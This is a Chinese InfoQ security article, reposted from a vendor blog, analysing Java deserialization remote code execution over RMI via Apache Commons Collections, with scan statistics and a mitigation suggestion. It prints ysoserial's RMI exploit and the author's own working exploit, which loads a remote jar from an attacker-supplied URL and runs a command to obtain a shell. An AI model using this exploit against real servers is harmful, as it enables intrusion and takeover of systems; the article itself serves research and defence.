NVIDIA 初创加速计划,免费加速您的创业启动 了解详情
写点什么

Java 反序列化漏洞被忽略的大规模杀伤利用

  • 2016-01-17
  • 本文字数:5014 字

    阅读完需:约 16 分钟

编者按:2015 年 11 月 6 日,国外 FoxGlove 安全研究团队于在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章。Java 在进行反序列化操作的时候会使用 ObjectInputStream类调用 readObject()方法去读取传递过来的序列化对象字节流进行处理,利用 Apache Commons Collections 库恰好可以构造出了一个在反序列化操作时能够自动执行命令的调用链。如果服务端程序没有对用户可控的序列化代码进行校验而是直接进行反序列化使用,并且程序中运行一些比较危险的逻辑,就会触发一些意想不到的漏洞。该漏洞在最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 中都可实现远程代码执行。

漏洞爆发后国内主要安全机构都作了相关分析,本文转自绿盟科技博客

正文

前一段时间热炒的Java 反序列化漏洞,大家在玩的很嗨的时候貌似忽略了一件很重要的事情——Java 在CS 架构的设计中使用序列化传输是非常普遍的现象,而在像JBoss 这种中间件也使用这种设计。所以,我在一边研究这个漏洞,一边看大家嗨嗨的玩的同时,也很好奇在一些通过Java 实现的CS 架构应用(比如:大型国企都喜欢用的会计软件、内容发布系统),是不是也会用到Apache Commons Collections 这个库。

不知道是不是研究Java Web 的大神们都在闷声发大财,这次这个漏洞的分析文章大多都停留在那个老外blog 中的各个中间件的利用玩法上,却没有注意到Java Web 中常见的架构都会因为这个问题而沦陷。而且除了长亭之外的文章,其他各家的修复建议大多都是针对利用来进行修复,治标不治本。

0x01 大规模利用原罪——RMI

在分布式遍地走的如今,很多使用 Java 开发的 Web 也都使用了分布式分发的结构,比如我所了解的很多大型组织都会在后台部署一些 Java 应用,用于向对外网站发布更新的静态页面,而这种发布命令的下达使用的就是 RMI。

我们先看下 RMI 在 wikipedia 上的描述:

Java 远程方法调用,即 Java RMI(Java Remote Method Invocation)是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使 Java 编程人员能够在网络环境中分布操作。RMI 全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI 极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

更加令人警示的是 RMI 的传输过程必然会用到序列化和反序列化,那么如果 RMI 服务端接口对外开放,并且服务端使用了像 Apache Commons Collections 这样的库,很容易被攻击者窥视。

0x02 被忽略掉的关键内容

breenmachine 的原文中,有不少的地方描述了关于反序列化漏洞对于 RMI 的影响,比如:

Java LOVES sending serialized objects all over the place. For example:

  • In HTTP requests – Parameters, ViewState, Cookies, you name it.
  • RMI – The extensively used Java RMI protocol is 100% based on serialization.
  • RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects.
  • JMX – Again, relies on serialized objects being shot over the wire.
  • Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come.

RMI 的传输 100% 基于反序列化。

还有这个:

If you see port 1099, that’s Java RMI. RMI by definition just uses serialized objects for all communication. This is trivially vulnerable, as seen in our OpenNMS exploit.

如果你看到了 1099 端口,这是 Java RMI 的默认端口。RMI 默认使用序列化来完成所有的交互。这是非常常见的漏洞,就像我们写出的 OpenNMS exploit。

《Exploit 5 – OpenNMS through RMI》这个小节,都是在介绍 RMI 的利用情况,但是都被大家忽略掉了,这令我很费解。

0x03 Exploit 的构造

RMI 的 Exploit 构造相对比较容易,对于了解 Java 编程的同学应该很简单的就可以写出来了。这里我们简单的来分析一下 ysoserial 这个工具中对于 RMI 利用的实现。

复制代码
public class RMIRegistryExploit {
public static void main(final String[] args) throws Exception {
// ensure payload doesn't detonate during construction or deserialization
ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Class<? extends ObjectPayload> payloadClass = (Class
<? extends ObjectPayload>) Class.forName(className);
Object payload = payloadClass.newInstance().getObject(args[3]);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
try {
registry.bind("pwned", remote);
} catch (Throwable e) {
e.printStackTrace();
}
try {
String[] names = registry.list();
for (String name : names) {
System.out.println("looking up '" + name + "'");
try {
Remote rem = registry.lookup(name);
System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
} catch (Throwable e) {
e.printStackTrace();
}
}
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}});
}
}

这段实现代码中,使用了 Java 中 Proxy 的形式对于构造的攻击 payload 进行了封装,并在对 Proxy 实现重新封装的过程中使用了大量的泛类型。这样用最大的好处就是 payload 足够的通用,可以应对多种不同的应用。但是,对于我们目前被大多数人所使用的基于 Integer 格式报错的回显方法,这种封装影响格式异常的回显。所以,在想要获取回显交互的情况下,这个工具并不是太好用。因此,我重新写了一个用于实现回显的工具,RMI 利用部分代码如下:

复制代码
public class RMIexploit {
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor
<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static void main(String[] args) {
String ip = args[0];
int port = Integer.parseInt(args[1]);
String remotejar = args[2];
String command = args[3];
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try{
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[] {Class[].class}, new Object[] {
new Class[]{java.net.URL[].class}}),
new InvokerTransformer("newInstance", new Class[] {
Object[].class}, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) }}}),
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"do_exec", new Class[]{String.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{command}})
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, h));
registry.bind("pwned", r);

其实内容很简单,就是在原有的 payload 生成代码后面加上了 RMI 的调用。这种写法我针对 Jboss5 和 6 系列的版本进行了测试,均可以在 JMXInvoker 删除的情况下获取 shell。我们在后期对该问题影响进行扫描的结果,可以证明这个 Exploit 并不仅仅只是针对 Jboss 有效,而是针对整个 RMI 协议。

PS:在我自己测试过程中,Jboss4 系列貌似并没有直接的使用 RMI,所以无法使用本小节给出的 Exploit 编写方法完成攻击。还有就是 Jboss7,我发现貌似已经不开放 RMI 相关协议端口了(也许是我下载的姿势不对),所以也没有测试成功。

0x04 RMI 漏洞影响

我们使用我们自己的全网扫描平台 SEER 对于 1090 和 1099 端口进行了全网扫描:

  • 1090 和 1099 端口全球开放 3754959 台,其中将端口用于 RMI 交互的主机 53170 台,占比 14.16%
  • 存在反序列化漏洞 5875 台,占比 11.04%
  • 存在漏洞的主机中,Linux 主机 3946 台,其中可以直接获得 root 权限的主机 2531 台,占比 64.14%;Windows 主机 1929 台,其中可以直接获得管理员权限的主机 425 台,占比 22.03%

0x05 修复建议

因为受影响的多家厂商在今年 1 月拿到 POC 至今都没有对该问题做任何修复,所以短期内并不会有官方补丁放出,如果很重视这个安全问题并且想要有一个临时的解决方案可以参考 NibbleSecurity 公司的 ikkisoft 在 GitHub 上放出了一个临时补丁 SerialKiller。

下载这个 jar 后放置于 classpath,将应用代码中的 java.io.ObjectInputStream 替换为 SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller 有 Hot-Reload,Whitelisting,Blacklisting 几个特性,控制了外部输入反序列化后的可信类型。

以上引用长亭科技文章中的修复建议,lib 地址: https://github.com/ikkisoft/SerialKiller

绿盟科技蜂巢已针对这个漏洞启动应急机制,蜂巢是由绿盟众多研发人员、工程人员和服务同事共同维护的创新性安全扫描插件互助社区,致力于打造为一个开放、共享的安全学习社区。

0x06 参考资料

  1. Lib 之过?Java 反序列化漏洞通用利用分析
  2. Exploiting Deserialization Vulnerabilities in Java
  3. https://github.com/frohoff/ysoserial
  4. What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
  5. AppSecCali 2015 – Marshalling Pickles

感谢魏星对本文的审校。

给InfoQ 中文站投稿或者参与内容翻译工作,请邮件至 editors@cn.infoq.com 。也欢迎大家通过新浪微博( @InfoQ @丁晓昀),微信(微信号: InfoQChina )关注我们,并与我们的编辑和其他读者朋友交流(欢迎加入 InfoQ 读者交流群(已满),InfoQ 读者交流群(#2))。

2016-01-17 17:006752

评论

发布
暂无评论
发现更多内容

JMeter100个线程竟然只模拟出1个并发

dongfanger

软件测试 Jmeter 性能测试 压力测试 测试工具

IPFS云算力挖矿系统开发技术

薇電13242772558

区块链 IPFS

一款区块链钱包开发需要多少钱?数字资产钱包开发搭建

13530558032

从一场“众盟科技云滇之播”,我们发现了美食直播的商业与公益价值

脑极体

面试前不陪女朋友也要看完这套spring源码面试题(附答案)

小Q

Java 学习 编程 架构 面试

《乌合之众——群体心理研究》读书笔记

Jesse Xing

读书笔记 心理学 乌合之众 群体心理学

算法有多重要,看字节腾讯等公司面试多重视就行了

小Q

Java 学习 架构 面试 算法

音像协呼吁保护音乐版权:短视频平台成为侵权重灾区

石头IT视角

京东技术中台Flutter实践之路(二)

京东科技开发者

开源 中台 大前端 Web UI

害怕重构?都怪我太晚和你介绍该如何重构,现在我来了

小Q

Java 学习 程序员 面试 重构

初级工程师职场生存要点

javaadu

程序员 职场成长 开发日志

《TED TALKS演讲的力量》阅读笔记

Jesse Xing

读书笔记 演讲 TED

一不小心画了 24 张图剖析计网应用层协议!

cxuan

计算机网络 计算机 协议

接口测试的时候如何生成随机数据进行测试

测试人生路

接口测试

做个别人家的网页

MySQL从删库到跑路

html/css 网页设计

不会这些mysql得面试题,那可能说明你要回炉了

小Q

Java MySQL 数据库 学习 面试

神经网络之dropout总述

Dreamer

学习

Java垃圾回收GC概览

Java JVM GC

数字货币OTC交易所开发,交易所搭建方案

13530558032

《精进:如何成为一个很厉害的人》阅读心得

Jesse Xing

读书笔记 个人成长 精进

从接口异常说说线上问题排查流程

QiLab

线上排障 指标监控 链路监控 日志监控 排障流程

USDT承兑支付平台技术开发,承兑商币支付交易平台搭建

13530558032

18张图,揭开阿里巴巴开发手册强制使用SLF4J作为门面担当的秘密

沉默王二

Java slf4j 日志系统

Android网络性能监控方案

移动研发平台EMAS

android 性能 监控 移动开发 应用

jdk 源码系列之ReentrantLock

sinsy

源码 jdk ReentrantLock 公平锁 非公平锁

完美!阿里P8都赞不绝口的世界独一份489页SQL优化笔记

Java~~~

Java 数据库 程序员 架构师 SQL优化

把最新JAVA面试真题(阿里/字节跳动/美团)整理出来,却被自己菜哭了,赶紧去刷题了

Java架构追梦

Java 阿里巴巴 架构 面试

anyRTC Flutter SDK :全面实现跨平台音视频互动

anyRTC开发者

音视频 WebRTC RTC sdk 安卓

从智慧计算的点、线、面,读懂浪潮AI的进化轨迹

脑极体

架构师训练营 - 第七周 - 作业一

行者

搭建一套ASP.NET Core+Nacos+Spring Cloud Gateway项目

yi念之间

Java反序列化漏洞被忽略的大规模杀伤利用_Java_王洋_InfoQ精选文章